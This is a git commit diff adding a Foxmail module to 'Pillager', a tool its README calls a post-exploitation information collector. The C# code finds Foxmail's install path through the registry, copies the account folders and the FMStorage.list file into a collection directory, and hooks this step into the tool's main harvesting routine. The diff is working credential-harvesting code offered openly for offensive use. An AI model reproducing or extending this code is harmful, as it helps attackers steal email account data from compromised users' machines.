Add Foxmail
This commit is contained in:
parent
598920c9ed
commit
5cbee710dc
|
@ -0,0 +1,52 @@
|
||||||
|
using Pillager.Helper;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace Pillager.Mails
|
||||||
|
{
|
||||||
|
internal class Foxmail
|
||||||
|
{
|
||||||
|
public static string MailName = "Foxmail";
|
||||||
|
|
||||||
|
public static string GetInstallPath()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string foxPath = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command").GetValue("").ToString();
|
||||||
|
foxPath = foxPath.Remove(foxPath.LastIndexOf("Foxmail.exe", StringComparison.Ordinal)).Replace("\"", "");
|
||||||
|
return foxPath;
|
||||||
|
}
|
||||||
|
catch { return ""; }
|
||||||
|
}
|
||||||
|
public static void Save(string path)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string installpath = GetInstallPath();
|
||||||
|
if (!Directory.Exists(installpath)||!Directory.Exists(Path.Combine(installpath, "Storage"))) return;
|
||||||
|
string savepath = Path.Combine(path, MailName);
|
||||||
|
Directory.CreateDirectory(savepath);
|
||||||
|
foreach (var directory in Directory.GetDirectories(Path.Combine(installpath, "Storage")))
|
||||||
|
{
|
||||||
|
Methods.CopyDirectory(directory, Path.Combine(savepath, Path.GetFileName(directory)), true);
|
||||||
|
foreach (var item in Directory.GetDirectories(Path.Combine(savepath, Path.GetFileName(directory))))
|
||||||
|
{
|
||||||
|
if (!item.EndsWith("Accounts"))
|
||||||
|
{
|
||||||
|
Directory.Delete(item,true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
foreach (var item in Directory.GetFiles(Path.Combine(savepath, Path.GetFileName(directory))))
|
||||||
|
{
|
||||||
|
File.Delete(item);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (File.Exists(Path.Combine(installpath, "FMStorage.list"))) File.Copy(Path.Combine(installpath, "FMStorage.list"), Path.Combine(savepath, "FMStorage.list"));
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -67,6 +67,7 @@
|
||||||
<Compile Include="Helper\Tar.cs" />
|
<Compile Include="Helper\Tar.cs" />
|
||||||
<Compile Include="Helper\TripleDESHelper.cs" />
|
<Compile Include="Helper\TripleDESHelper.cs" />
|
||||||
<Compile Include="Helper\VaultCli.cs" />
|
<Compile Include="Helper\VaultCli.cs" />
|
||||||
|
<Compile Include="Mails\Foxmail.cs" />
|
||||||
<Compile Include="Mails\MailMaster.cs" />
|
<Compile Include="Mails\MailMaster.cs" />
|
||||||
<Compile Include="Messengers\Enigma.cs" />
|
<Compile Include="Messengers\Enigma.cs" />
|
||||||
<Compile Include="Messengers\QQ.cs" />
|
<Compile Include="Messengers\QQ.cs" />
|
||||||
|
|
|
@ -35,6 +35,7 @@ namespace Pillager
|
||||||
|
|
||||||
//Mail
|
//Mail
|
||||||
MailMaster.Save(savepath);
|
MailMaster.Save(savepath);
|
||||||
|
Foxmail.Save(savepath);
|
||||||
|
|
||||||
//Messengers
|
//Messengers
|
||||||
QQ.Save(savepath);
|
QQ.Save(savepath);
|
||||||
|
|
|
@ -58,6 +58,7 @@ Pillager是一个适用于后渗透期间的信息收集工具,可以收集目
|
||||||
| Mail | Support |
|
| Mail | Support |
|
||||||
| :--------: | :------: |
|
| :--------: | :------: |
|
||||||
| MailMaster | DataFile |
|
| MailMaster | DataFile |
|
||||||
|
| Foxmail | Storage |
|
||||||
|
|
||||||
| Others | Support |
|
| Others | Support |
|
||||||
| :----: | :------: |
|
| :----: | :------: |
|
||||||
|
|
Loading…
Reference in New Issue